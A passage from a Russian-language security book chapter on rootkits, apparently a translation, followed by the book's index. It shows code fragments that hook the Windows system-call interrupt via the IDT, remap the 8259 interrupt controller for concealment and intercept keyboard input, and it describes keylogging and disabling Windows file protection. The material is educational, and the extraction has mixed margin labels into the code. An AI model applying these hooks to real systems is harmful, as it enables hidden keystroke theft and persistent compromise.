помощью набора средств для взлома, заключается в запросе определенного порта
отправителя или значения идентификатора IP (IP ID) еще до того, как программа
набора средств для взлома ответит на этот пакет. Эту идею можно расширить вплоть
до необходимости наличия каких>либо данных в пакете, но основной смысл в том,
что необходимо владеть определенной информацией, чтобы заставить потайную
программу ответить на пакет. Не забывайте, что программа из набора средств для
взлома может быть скомпилирована и настроена любым человеком, поэтому выбор
маскировки зависит только от воображения хакера.

Добавление интерактивного командного интерпретататора
Набор средств для взлома позволяет установить командный интерпретатор с
удаленным доступом по TCP/IP непосредственно в ядро системы. Ниже приведен
пример из меню, предоставляемого одним из наборов средств для взлома, доступных
по адресу www.rootkit.com.
Win2K Rootkit by the team rootkit.com
Version 0.4 alpha
-----------------------------------------команда
описание

Наборы средств для взлома

381

ps
показать список процессов
help
приведенная здесь информация
buffertest
результы отладки
hidedir
скрыть файл/каталог, начинающийся с корневой строки
hideproc
скрыть процесс, начинающийся с корневой строки
debugint
(BSOD)fire int3
sniffkeys
включить перехват нажатий клавиатуры
echo
команда echo для данной строки
*(BSOD) означает Blue Screen of Death
(голубой экран смерти)
при отсутствии отладчика ядра!
* под "корневой строкой" подразумевается,
что имя процесса или файла начинается
с символов '_root_'.
;

Прерывания
Прерывания являются одним из важнейших элементов любой вычислительной
системы. Все внешние аппаратные средства используют прерывания для взаимодей>
ствия с центральным процессором и осуществления операций ввода>вывода. Вредо>
носная программа может перехватывать или изменять эти команды ввода>вывода
данных. Это может пригодиться для маскировки в системе, создания скрытых кана>
лов связи или для подслушивания разговоров.

Архитектура запросов на прерывание
На стандартной материнской плате Intel или подобной материнской плате за>
просом на прерывание для клавиатуры является запрос IRC 1 (всего есть 16 раз>
личных запросов на прерывание). Аббревиатура IRQ расшифровывается как Inter>
rupt ReQuest — запрос на прерывание. В прежних системах пользователь вручную
мог назначать прерывания для различных устройств. В ситемах с поддержкой тех>
нологии Plug and Play также можно изменить некоторые установленные по умолча>
нию прерывания. В следующей таблице представлена характеристика прерываний
(таблица доступна по адресу http://webopedia.com).
IRQ 0

Системный таймер.
Это прерывание зарезервировано для внутреннего системного таймера. Это прерывание недоступно для периферийных устройств

IRQ 1

Клавиатура.
Это прерывание зарезервировано для контроллера клавиатуры. Даже в компьютерах
без клавиатуры это прерывание предназначено исключительно для входных данных с
клавиатуры

IRQ 2

Прерывание для каскадного подключения второго контроллера для прерываний
IRQ 8–15

IRQ 3

Порт 2 последовательной передачи данных (COM 2)
Прерывание для второго последовательного порта, а иногда прерывание по умолчанию для четвертого последовательного порта (COM 4)

382
IRQ 4

Глава 8
Порт 1 последовательной передачи данных (COM 1).
Это прерывание обычно используется для первого последовательного порта. На устройствах, в которых отсутствует мышь PS/2, это прерывание практически всегда используется для последовательного подключения мыши. Кроме того, это прерывание по
умолчанию для третьего последовательного порта (COM 3)

IRQ 5

Звуковая карта.
Это прерывание используется в качестве прерывания по умолчанию, назначаемого
для звуковой карты

IRQ 6

Контроллер гибких дисков.
Это прерывание зарезервировано для контроллера гибких дисков

IRQ 7

Первый параллельный порт.
Это прерывание обычно зарезервировано для подключения принтера. При отсутствии
принтера прерывание можно использовать для другого устройства, подключаемого с
помощью параллельного порта

IRQ 8

Интегральная схема часов реального времени.
Это прерывание зарезервировано для таймера реального времени в системе и не
может использоваться для каких-либо других целей

IRQ 9

Доступно.
Это прерывание обычно остается доступным и может использоваться для подключения периферийных устройств

IRQ 10

Доступно.
Это прерывание обычно остается доступным и может использоваться для подключения периферийных устройств

IRQ 11

Доступно.
Это прерывание обычно остается доступным и может использоваться для подключения периферийных устройств

IRQ 12

Мышь PS/2.
Это прерывание может использоваться мышью, подключаемой к шине PS/2. При отсутствии мыши PS/2 оно может использоваться для подключения других периферийных устройств, например сетевого адаптера

IRQ 13

Блок для выполнения операций с плавающей точкой/математический сопроцессор.
Это прерывание зарезервировано для устройства для выполнения. Это прерывание
всегда недоступно для периферийных устройств, поскольку оно используется исключительно для внутренней сигнализации

IRQ 14

Первичный контроллер IDE.
Это прерывание зарезервировано для первичного контроллера IDE. В ситемах, где нет
IDE устройств, это прерывание может использоваться в других целях

IRQ 15

Вторичный контроллер IDE.
Это прерывание зарезервировано для вторичного контроллера IDE

Наборы средств для взлома

383

В IDT (Interrupt Descriptor Table — таблица дескрипторов прерываний) можно
сохранить 256 записей, только 16 из которых обычно используются для аппаратных
прерываний в системах x86. В IDT содержится массив 8>байтовых дескрипторов
сегментов, которые называются вентилями (gate).

Перехват прерываний
В системе Windows NT с помощью прерываний обрабатываются многие систем>
ные события. Например, прерывание 0x2E вызывается для каждого системного вы>
зова. Хотя в наших примерах с наборами средств для взлома показано, как перехва>
тывать отдельные ситемные вызовы, но мы также можем непосредственно перехва>
тить прерывание 2E. Также можно перехватывать и другие прерывания, например
прерывание для клавитуры, что, в свою очередь, позволяет перехватывать комбина>
ции нажатых клавиш.
Перехват прерывания может быть осуществлен с помощью кода, представленно>
го на следующем рисунке.
int HookInterrupts()
{
IDTINFO idt_info;
Получаем указатель
IDTENTRY* idt_entries;
к таблице дескрипторов
IDTENTRY* int2e_entry;
прерываний
__asm{
sidt idt_info;
}
idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);
/*******************************************************
* Обратите внимание Мы можем исправить ЛЮБОЕ прерывание Получаем запись
* ограничений нет
прерывания для
*******************************************************/
конкретного прерывания
int2e_entry = &(idt_entries[NT_SYSTEM_SERVICE_INT]);
(в данном случае для int 2E)
Отключение __asm{
cli;
прерываний
Сохраняем новый указатель
lea eax,MyKiSystemService;
для функции, который
mov ebx, int2e_entry;
указывает на нашу процедуру,
mov [ebx],ax;
предназначенную для
shr eax,16
замены прерывания
Включение
mov [ebx+6],ax;
прерываний
sti;
}
return 0;
}

Загадка программируемого контроллера прерываний
Тот, кто пробовал реализовать перехват прерывания, знает, что номера каналов
IRQ, присвоенных аппаратным средствам, не соответствуют полностью записям в
таблице дескрипторов прерываний. Например, мы знаем, что запросом на прерыва>
ние для клавиатуры является IRQ 1. Однако прерывание 1 оказывается совсем не
клавиатурой. Как такое может быть? Очевидно, выполняется преобразование между
аппаратными запросами на прерывание и векторами прерываний, хранящимися в
таблице дескрипторов прерываний. Ответ заключается в программируемом кон>

384

Глава 8

троллере прерываний (Programmable Interrupt Controller — PIC). Для большинства
материнстких плат это Intel 8259 или совместимая микросхема. Микросхему 8259
можно запрограммировать на соответствие номеров аппаратных прерываний про>
граммным прерываниям. Это означает, что различные линии аппаратных прерыва>
ний подключаются на вход Intel 8259, а на выходе мы получаем единую линию пре>
рываний. Микросхема 8259 управляет преобразованием в программные прерывания
и информирует центральный процессор, что происходит то или иное программное
прерывание.
Как правило, схема 8259 управляет 16 каналами аппаратных прерываний. По умол>
чанию в большинстве программного обеспечения BIOS микросхема 8259 програм>
мируется на установку соответствия между аппаратными прерываниями IRQ 0–7 и
программными прерываниями 8–15. Таким образом, аппаратное прерывание кла>
виатуры IRQ 1 обрабатывается как программное прерывание 8, т.е. загадка преобра>
зования IRQ в программные прерывания решена.
В системах Windows NT, Windows 2000 и Windows XP старые хитрости по пере>
хвату прерывания для клавиатуры не сработают. Дело в том, что микросхема 8259
перепрограммируется системой Windows для установки соответствия между аппа>
ратными прерываниями IRQ 0–15 и программными прерываниями 0x30–0x3F. Та>
ким образом, для перехвата прерывания для клавиатуры в системах Windows нужно
перехватывать программное прерывание 0x31. Вот и вторая загадка разгадана.
Безусловно, можно самостоятельно перепрограммировать ИС 8259. Таким обра>
зом мы создадим дополнительную маскировку для сокрытия драйвера с нашим на>
бором средств для взлома. В следующем фрагменте кода показан пример перепро>
граммирования 8259, которое осуществляется таким образом, чтобы прерывания
IRQ 0–7 соответствовали программным прерываниям 20h–27h.
mov
out
out
mov
out
mov
out
mov
out
mov
out
mov
out
out

al, 11h
20h, al
A0h, al
al, 20h
21h, al
al, 28h
A1h, al
al, 04h
21h, al
al, 02h
A1h, al
al, 01h
21h, al
A1h, al

;
;
;
;

номера прерывания
21h соответствуют
номера прерывания
A1h соответствуют

начиная с 20h
IRQ 0-7
начиная с 28h
IRQ 8-15

Регистрация нажатий клавиш
Регистрация нажатий клавиш является одним из самых мощных методов компь>
ютерного шпионажа. Используя перехват для дескриптора клавиатуры внутри ядра,
набор средств для взлома может перехватывать парольные фразы, включая те, кото>
рые используются для разблокирования секретных ключей в криптографических
системах. Регистрация нажатий клавиш не требует больших объемов пространства
на жестком диске, поэтому может пройти несколько дней или недель, прежде чем
хакер сочтет необходимым забрать файл с зарегистрированной информацией. Про>
грамма регистрации может распознавать комбинации управляющих клавиш, а также

Наборы средств для взлома

385

определять, когда символы набираются в верхнем или нижнем регистре. Обычно
каждому нажатию клавиши соответствует определенный код опроса клавиатуры
(scancode). Код опроса клавиатуры представляет собой численное представление в
памяти нажатий клавиши.
За последнее десятилетие появилось множество различных видов программ ре>
гистрации нажатий клавиш, а методы их работы зависят от атакуемой операционной
системы. На многих старых Windows и DOS>системах для регистрации нажатий
клавиш было достаточно организовать перехват прерывания 9. Начиная с систем
под управлением Windows NT, программу мониторинга нажатий клавиш следует
инсталлировать как драйвер. Подобная ситуация характерна и для Linux.
С точки зрения хакера остаются две проблемы: 1) как сохранить данные в файл; и
2) кто будет их отправлять по сети. Если перехваченные нажатия клавиш сохраня>
ются в открытом тексте, то они доступны все желающим. Если они отправляются на
чей>то электронный адрес, то у владельца этого адреса окажется ценная информа>
ция. Эти проблемы можно решить с помощью средств криптографии. Зарегистриро>
ванные нажатия клавиш могут храниться в виде информации, зашифрованной с по>
мощью открытого ключа, а их передача может осуществляться с помощью широко>
вещательной рассылки, по общедоступному и в то же время защищенному каналу.

Программа регистрации нажатий клавиш в Linux-системе
За последнее время опубликовано несколько программ регистрации нажатий
клавиш в Linux>системах. Программный код этих программ является общедоступ>
ным. Эти программы обычно сделаны в виде подгружаемых модулей ядра (LKM). В
UNIX>системах набор средств для взлома, как правило, уже реализован в виде моду>
ля LKM, поэтому мониторинг нажатий клавиш можно просто добавить в виде рас>
ширенной функции. Набор средств для взлома в системе Linux способен внедриться
в текущий поток символов с помощью существующего драйвера клавиатуры или
может непосредственно организовать перехват дескриптора прерывания.

Программа регистрации нажатий клавиш
для Windows NT/2000/XP
В системах Windows NT/2000/XP поддерживается специальный тип драйвера
устройств, который называется фильтрующим драйвером (filter driver) или просто
фильтром. Большинство драйверов в Windows работают последовательно. То есть
каждый драйвер передает данные следующему драйверу в цепочке. Фильтрующий
драйвер просто добавляет себя в эту цепочку и выполняет фильтрацию данных или
изменяет передаваемые данные до того, как передать управление. Набор средств для
взлома может добавить себя в уже существующую цепочку драйверов для клавиату>
ры. Конечно, можно использовать и непосредственный перехват прерывания кла>
виатуры. В любом случае, можно перехватывать последовательности нажатия кла>
виш и записывать их в файл либо пересылать по сети.

386

Глава 8

Контроллер клавиатуры
На материнской плате находится большое количество контроллеров для аппа>
ратных средств. В этих контроллерах содержатся регистры, из которых можно про>
честь или в которые можно записать данные. Как правило, регистры чтения/записи
на контроллере называют портами. В клавиатуре обычно используется микропро>
цессор 8048, а на материнской плате, как правило, есть дополнительный микропро>
цессор 8042. Микросхема 8042 программируется для преобразования кодов опроса
клавиатуры. Иногда эта же микросхема используется для управления входными
данными, получаемыми от мыши PS/2 и, иногда, для уведомления центрального
процессора о нажатии кнопки Reset.
Относительно контроллера клавиатуры нас интересуют следующие порты:
порт 0x60: чип 8048, регистр данных клавиатуры
порт 0x64: чип 8042, регистр состояния клавиатуры
Для чтения символов с клавиатуры необходимо перехватить прерывание клавиа>
туры. Предпринимаемые для этой цели действия изменяются в зависимости от опе>
рационной системы. Для систем под управлением Windows, вероятнее всего, необ>
ходимо будет перехватить прерывание int 0x31. Данные должны быть прочитаны из
прерывания 0x60 сразу после вызова IRQ 1 и до того, как произойдет какое либо>
другое прерывание клавиатуры.
Ниже представлен пример простого обработчика для прерывания клавиатуры.
KEY_INT:

push
eax
in
al, 60h
// делаем что-то с символов в al
pop
eax
jmp
DWORD PTR [old_KEY_INT]

Усовершенствованные возможности наборов
средств для взлома
В этой книге не ставилась цель рассмотреть все самые совершенные хитрости, кото>
рые можно реализовать с помощью наборов средств для взлома. К счастью, доступны
многие ресурсы и статьи в Internet, которые посвящены этой теме. Одним из лучших ис>
точников информации является журнал Phrack Magazine (http://www.phrack.com).
В качестве еще одного полезного ресурса можно назвать конференцию по вопросам
безопасности BlackHat (http://www.blackhat.com). Здесь мы только вкратце
рассмотрим несколько усовершенстованных методов применения наборов средств
для взлома, при необходимости предоставляя ссылки на источники более подробной
информации.

Использование набора средств для взлома
в качестве отладчика
Набор средств для взлома, работающий на уровне ядра, вовсе необязательно все>
гда должен использоваться с вредоносными целями. Например, набор средств для

Наборы средств для взлома

387

взлома можно использовать для контроля за собственной системой. Еще одна по>
лезная область применения возможностей наборов средств для взлома заключается
в эмуляции функций отладчика. Набор средств для взлома со встроенным команд>
ным интерпретатором и несколькими функциями отладки практически ничем не от>
личается от программы наподобие SoftIce. Можно добавить декомпилятор, возмож>
ность чтения и записи в память и поддержку точек останова.

Отключение защиты системных файлов Windows
Процесс winlogon.exe загружает несколько библиотек DLL, которые отвечают
за защиту системных файлов (служба System File Protection). При этом загружается
файл sfc.dll, а затем файл sfcfiles.dll. Список защищаемых файлов загружа>
ется в буфер памяти. Воспользовавшись простой заплатой, которая устанавливается
в программный код файла sfc.dll, можно полностью отключить защиту файлов.
Для создания заплаты можно воспользоваться стандартными функциями отладки
10
Windows API .

Непосредственная запись данных в физическую память
Для работы набора средств для взлома необязательно использовать загружаемый
модуль или драйвер устройства в Windows>системе. Установить набор средств для
взлома можно с помощью непосредственной записи данных в ядро. Мы рекомендуем
прочесть отличную статью автора crazyword по теме объектов Windows и физиче>
ской памяти в журнале Phrack Magazine, выпуск 59, статья 16 “Playing with Windows
/dev/(k)mem”.

Переполнение буфера в ядре
В программном коде ядра присутствуют те же ошибки, которые известны для ос>
тального программного обеспечения. Одно только тот факт, что программный код
запускается в ядре, совсем не означает его неуязвимость относительно переполнения
буфера в стеке и других стандартных программ атаки. И действительно, были опуб>
ликованы несколько программ для переполнения буфера в ядре.
Использование хакером переполнения буфера в ядре требует определенной сно>
ровки, поскольку исключения в ядре могут привести к выходу компьютера из строя
или появлению “голубого экрана смерти”. Программы атаки, работающие на уровне
ядра, заслуживают особого упоминания, поскольку они позволяют установить в
компьютер набор средств для взлома и при этом обойти все механизмы защиты. При
осуществлении переполнения буфера в ядре, злоумышленнику не требуются приви>
легии администратора или возможность загрузки драйвера устройства. Статью ав>
тора Синан (Sinan) по теме переполнения буфера в ядре можно прочесть в журнале
Phrack Magazine, выпуск 60, статья 6 “Smashing The Kernel Stack For Fun And Profit”.

10

Более подробную информацию по этой теме можно узнать из работы Бенни (Benny) и
Раттера (Ratter) в 29/A Labs.

388

Глава 8

“Заражение” образа ядра
Еще один способ для внедрения кода в ядро заключается в установке заплаты в
сам образ ядра. В этой главе мы продемонстрировали код простой заплаты для уст>
ранения механизмов защиты из ядра системы Windows NT. Таким же методом мо>
жет быть изменена любая часть программного кода. При этом не забывайте испра>
вить в коде любые проверки целостности файла, например контрольную сумму фай>
ла. Достаточно интересная информация относительно установки заплат в ядро Linux
содержится в 60>м выпуске журнала Phrack Magazine, статья “Static Kernel Patching”
от автора под псевдонимом jbtzhm.

Перенаправление исполнения
Мы также рассказали о том, как осуществить перенаправление исполнения в
Windows>системах. Интересное обсуждение того, как это выполняется в системах
под управлением Linux, содержится в статье 5 “Advances in Kernel Hacking II” жур>
нала Phrack Magazine, выпуск 59.

Обнаружение наборов средств для взлома
Существует несколько методов для обнаружения наборов средств для взлома,
каждый из которых легко блокируется, если в наборе средств для взлома предусмот>
рена такая возможность. Для выявления изменений данных в памяти можно иссле>
довать таблицу вызовов или выполнить проверку функций и их значения. Во время
выполнения функции можно провести подсчет выполняемых команд и сравнить с
оригинальной функцией. Теоретически можно обнаружить любое изменение в ходе
выполнения программ. Основная проблема заключается в том, что программный
код, который предназначен для выполнения проверки, запускается на том же
скомпрометированном компьютере. При этом набор средств для взлома способен
изменить или повлиять на программный код, предназначенный для проверки. Лю>
бопытный метод для обнаружения наборов средств для взлома изложен в статье
Яна Рудковски (Jan Rutkowski) “Execution Path Analysis: Finding Kernel Based
Rootkits”, которая опубликована в журнале Phrack Magazine, выпуск 59. Програм>
ма для выявления наборов средств для взлома в ядре Solaris доступна на сайте
http://www.immunitysec.com.

Резюме
Завершающим действием большинства атак на программное обеспечение являет>
ся установка набора средств для взлома (rootkit). Эти наборы средств позволяют ха>
керу вернуться на взломанную машину при первом желании. Мы рассмотрели не>
сколько чрезвычайно мощных наборов средств для взлома. Они позволяют управ>
лять абсолютно всеми аспектами работы компьютера. Для этой цели наборы средств
для взлома устанавливаются очень глубоко, в самое “сердце” системы.
Наборы средств для взлома могут устанавливаться как локально, так и достав>
ляться из внешнего источника, например в составе “червя” или вируса. Как и в слу>
чае других видов вредоносного кода, деятельность этих программ должна оставаться

Наборы средств для взлома

389

незаметной. Наборы средств для взлома успешно скрывают себя от стандартных
средств исследования системы, используя перехваты, “трамплины” и заплаты. В этой
главе мы лишь поверхностно затронули обширную тему наборов средств для взло>
ма — тему, которая заслуживает отдельной книги.

390

Предметный указатель

Предметный указатель

A
ACL, 168
ActiveX, 200
API monitor, 143
ASPстраница, 151

J
Java, 259
Java 2, 153
JEDEC, 372
JVM, 37; 259

B
BIOS, 357

K
KLOC, 34

C
CFI, 371
COM/DCOM, 200
CWD, 150

L
LKM, 385
LOC, 34

D
DDK, 327
DLL, 152
Dr.Watson log, 104

E

M
MBR, 373
MIME, 263
MIPS, 298

N
NVRAM, 255

EEPROM, 357

F
FreeBSD, 270

H
HTMLкод, 202
HTTPD, 263
HTTPзаголовок, 193

P
PCL, 187
PHP, 173
PIC, 384
PID, 147

R
RISC, 298

I
IDA, 94
IDCсценарий, 112
IDS, 213
IDT, 383
IRQ, 381

S
SDK, 95
SourceScope, 66
SPARC, 301
SQL Server 7, 86
StackGuard , 66

Предметный указатель

T
TEB, 267

U

391
irc.dll, 221
mshtml.dll, 206
NDIS, 374
scrrun.dll, 196
xt, 265

Библиотечные вызовы API
отслеживание, 148

Unicode, 242
URI, 148
UTF>8, 243

Брандмауэр, 72
Буфер
клавиатуры, 188

Быстрый останов, 225

W
Web>браузер, 200
Web>сервер, 150; 236
Apache, 263

X
XOR, 296
XSS, 190

А
Адрес
в векторе вторжения, 252
внедрения, 254
возврата, 252
эффективный, 99

Анализатор, 228
Архитектура

В
Вектор вторжения, 64; 250
Вентиль, 383
Ветвление процессов, 167
Взлом
компилятора, 65
с помощью
драйвера устройства, 91
совместно используемых буферов, 91

Вирус
CIH, 364

Внесение ошибок, 125
Восстановление исходного кода, 78

Г
Гонка на выживание, 49

MIPS, 298
RISC, 298

Д

Атака, 63
на Internet Explorer 5, 205
на вызовы функций API, 169
на неисполняемый стек, 321
на переполнение буфера, 247
в стеке, 249
в ядре, 387
подмены Web>узла, 205
с помощью
XSS, 191
вредоносного содержимого, 204
символических ссылок, 262
файла данных, 261

Б
База данных
Informix, 172
Oracle, 167

Библиотека
ActivePerl, 151
DLL, 152

Дамп памяти, 233
Декомпилятор, 83
Декомпиляция, 103
Дизассемблер, 83
Dr. Watson, 130
IDA, 94; 146; 279
WDASM, 103

Диспетчер
API, 143

Доверительные отношения, 149
Доступ
к диску, 373
к исполняемым файлам, 150
к командному интерпретатору, 154
с правами суперпользователя, 92

Драйвер, 327
выгрузка, 330
для перенаправления, 341
регистрация, 332
фильтрующий, 385

392

Предметный указатель

Ж
Журнал
ошибок, 106

З
Заплата
в ядро Windows NT, 348
для образа ядра, 388
установка, 125

Зона активизации, 64

И
Идентификатор

in, 358
jmp, 322; 348; 355
jz, 354
NOP, 298; 317
out, 359
passwd, 265
push, 350
retn, 350
командного интерпретатора, 155

Командный интерпретатор, 154
внедрение команд, 154

Компилятор
для языка C++, 65

Контекст, 122
Контратака, 206
Контроллер
клавиатуры, 386

Контрольная сумма, 297
Куча, 288

сеанса, 175
подбор, 176

Искажение данных
в памяти, 249

М
К

Каталог
cgi>bin, 149
переход к другому, 170
права доступа, 93
просмотр содержимого, 111; 155
сокрытие, 344
текущий рабочий, 150

Код
Java, 259
возврата ошибки, 180
двоичный
исправление, 346
командного интерпретатора, 60
защита, 314
опроса клавиатуры, 385
переносимый, 37
трассировка, 219
управляющий, 182
для терминала, 186

Кодирование
символов
альтернативное, 239

Кодировка
Unicode, 242
UTF>8, 243

Команда
build, 328
call, 293
cd, 328
dir, 111
echo, 161
getopt, 265

Маршрутизатор
Cisco, 251; 257

Метасимвол, 228
в архиве программы FML, 202
в заголовке сообщения электронной почты, 202
управляющий, 240
эквивалентный, 240

Метод
"белого ящика", 84
"серого ящика", 85
"черного ящика", 84

Микросхема
8042, 386
82559, 367
8259, 384
93C46, 367
ASIC, 367

Н
Наблюдаемость, 47
Набор средств для взлома, 326
ntroot, 374
на уровне ядра, 326

Наследование
дескрипторов, 167
прав доступа, 168

О
Обработчик исключений, 267; 274
Окно регистров, 301

Предметный указатель
Опасность, 56
Операционная система
FreeBSD, 270
IOS, 257
Windows NT
установка заплат, 348

Операция

393
в Web>сервере Apache, 263
в Winamp, 261
в стеке, 249; 268
в ядре, 387
на стороне клиента, 206
с помощью переменных и тегов, 262
с помощью переменных среды, 264

Перехват

XOR, 296

Определение
операционной системы, 72

Отладчик, 82; 117
GDB, 145

Отложенная передача управления, 298
Отслеживание маршрута, 73
Охват кода, 90
Ошибка, 49
F00F, 358
в сетевых адаптерах Ethernet, 92
внесение, 125
обработка, 180
при выполнении арифметических операций, 275
при классификации, 236
строки форматирования, 260

П
Пакет
IRP, 330
UUCP, 142

Память
EEPROM, 357
параллельная, 370
последовательная, 369
искажение данных, 249
управление, 275
энергонезависимая
операции чтения и записи, 358

Переменная
глобальная, 173
TERM, 265
скрытой формы, 173
среды, 172; 264
$HOME, 265
LD_LIBRARY_PATH, 173
TARGETPATH, 328
экземпляра, 291

Перенаправление атаки, 74
Переполнение буфера, 104
в EFTP, 263
в exim, 262
в MidiPlug, 262
в Netscape Communicator, 262
в passwd, 265
в rlogin, 265
в sccw, 265
в sendmail, 263

вызова, 335
прерываний, 383

Переход
внешний, 309
локальный, 309

Платформа
AIX/PowerPC, 313
HP/UX PA>RISC, 305
Solaris, 148
SPARC, 301

Подключение
к запущенному процессу, 146

Подмена
Web>узла, 205

Полезная нагрузка, 250; 292
для архитектуры MIPS, 298
для архитектуры RISC, 298
для нескольких платформ, 316
для платформы PA>RISC, 305
для платформы SPARC, 301
кодирование, 296; 312
размер, 294

Потайные ходы, 75
Предзагрузчик, 201
Преобразование символов, 229
Прерывание, 381
клавиатуры, 386
обработка, 119
перехват, 383

Принцип наименьших привилегий, 141
Программа
APISPY32, 93; 218
Back Orifice 2000, 340
Cold Fusion, 156
Dbgvnt, 332
Dependency Walker, 196
Dr. Watson, 130
dyninstAPI, 90
elitewarp, 155
exim, 262
Fenris, 223
File Monitor, 143
FML, 202
FST, 143
GDB, 145; 232; 310
GroupWise, 171
Hailstrorm, 86
Hotmail, 204

394
HSphere, 171
IDA, 94; 103
IDA>Pro, 105; 145
Internet Explorer, 201
Internet Explorer 5, 205
IPSwitch Imail, 176
ITS4, 66
jvmStart, 260
ltrace, 148
MailSweeper, 204
memcpy, 121
MidiPlug, 262
MS Excel, 195
MS Outlook XP, 202
mssql>ods, 258
netcat, 140; 152
Netscape Communicator, 262
Netterm, 187
nmap, 73
OllyDbg, 227
passwd, 265
Purify, 86
REC, 103
regmon, 143
rlogin, 265
sccw, 265
sendmail, 263
setlocate, 265
SoftIce, 227; 351; 374
SourceScope, 66
SQL Server, 258
SQL Server 7, 86
StackShield, 67
Taylor UUCP, 264
Telnet, 173
The PIT, 124
traceroute, 73
Trillian, 221
Tripwire, 340
Truss, 148
Webalizer, 193
Winamp, 261
xterm, 164
для внесения ошибок, 82
клиентская, 181
многопотоковая, 121
регистрации нажатий клавиш, 385

Просчет, 49
Протокол
BGP, 251
FTP, 163
OSPF, 251
TFTP, 165
T>SQL, 258

Процесс
ветвление, 167
идентификатор, 124
планирование запуска, 165

Предметный указатель
Процессор
Intel x86, 292

Р
Расширяемая система, 37
Регистр процессора, 254
EAX, 255
EBP, 271; 295
EBX, 297
ECX, 297
EDI, 293; 297
EIP, 293
ESP, 271
FS, 267

Режим недоверия, 88
Риск, 54

С
Сервер
Apache, 263
CesarFTP, 244
EFTP, 263
eXtremail, 288
FTP, 266
IceCast, 243
IIS, 143; 151; 242
I>Planet, 145; 232
SpoonFTP, 239
Titan, 243

Серверное приложение, 138
Сетевой адаптер
Ethernet, 92
ключ реестра, 377
неразборчивый режим, 376

Сигнальное значение, 318
Сигнатура
атаки, 215

Символ
ESC, 240
NULL, 170; 231; 249; 271
удаление, 315
альтернативная кодировка, 239
возврата каретки, 159
двойной кавычки, 157
косой черты, 240
обратной косой черты, 160
посторонний, 238
форматирования, 267

Синтаксический анализ, 228
Синхронизация, 366
Система обнаружения взлома
на основе аномальных событий, 213
на основе сигнатур, 213

Предметный указатель

395

Сканирование

У

портов, 73
сети, 71

Уведомление

Сокет, 166
Сокрытие

об успехе, 64
обратной связи, 65

каталога, 344
процесса, 336
файла, 344

Указатель, 230
Утилита

Спецификатор формата
%00u, 286
%n, 285

Спецификация

at, 165
cat, 155
dumpbin, 111
ping, 155

Уязвимое место, 49

CFI, 371

автоматизированное выявление, 110

Список
запущенных потоков, 147
контроля доступа, 168

Ссылка

Ф
Фазовое пространство, 176
Файл

символическая, 262

Стек, 252
неисполняемый, 321

Строка
форматирования, 267; 283

СУБД, 258
Progress, 260
переполнение буфера, 258

Сценарий
FTP, 163
Perl, 151
PHP, 164
вложенный, 151
переносимый, 190

Т
Таблица
vtable, 291
дескрипторов прерываний, 383
переходов
динамическая, 293
прерываний, 381
соответствий, 295

Тег
boron, 134; 380
CFEXECUTE, 156
EMBED, 206

Точка
входа, 88
останова, 118; 145
для страниц памяти, 227

Трамплин, 309; 320
Трассировка, 145
во время выполнения программы, 223
кода, 219
обратная, 220
стека, 106

autorun.inf, 374
cookie, 61; 263
helpctr.exe, 104
perl.exe, 149
sfc.dll, 387
SOURCES, 328
драйвера, 328
конфигурационный
для расширения привилегий, 142
поиск, 145
с расширением
lnk, 263
MP3, 262
сокрытие, 344
сценария, 161
шрифта, 152

Фильтр, 212
для входных данных, 212
для драйвера, 385
для команд, 237
с возможностью переполнения буфера, 264

Функция
CreateFile(), 373
DriverEntry(), 329
fprintf(), 288
GetObject(), 201
glob(), 266
HeapFree(), 290
Host(), 195
if(), 348
lstrcpy, 93
malloc(), 290
OpenDataSource(), 258
OpenThread, 122
printf(), 260; 287
QueryDirectoryFile(), 344
recv(), 280
scanf(), 268

396

Предметный указатель

SeAccessCheck(), 350
sprintf(), 113; 268
strcat(), 268
strcpy(), 93; 268
strlen(), 270; 275
strncat(), 271
strncpy(), 270
syslog(), 270; 288
SystemLoadAndCallImage, 333
VirtualQuery(), 225
VirtualQueryEx, 121
vsprintf(), 268
wcsncat, 106
while(), 348
WSARecvFrom(), 88
wsprintf(), 224
листовая, 308
файловой системы, 205

Ч
"Червь", 39
ADM w0rm, 40
Code Red, 40

Ш
Шаблон атаки, 64

Э
Электронный шпионаж, 28

Я
Ядро

Х
Хакер, 45
Хранимая процедура, 258; 261

Ц
Цель атаки, 47

"заражение" образа, 388
переполнение буфера, 387
установка заплаты, 348

Язык программирования
Java 2, 153
Perl, 88
PHP, 173
Visual Basic, 203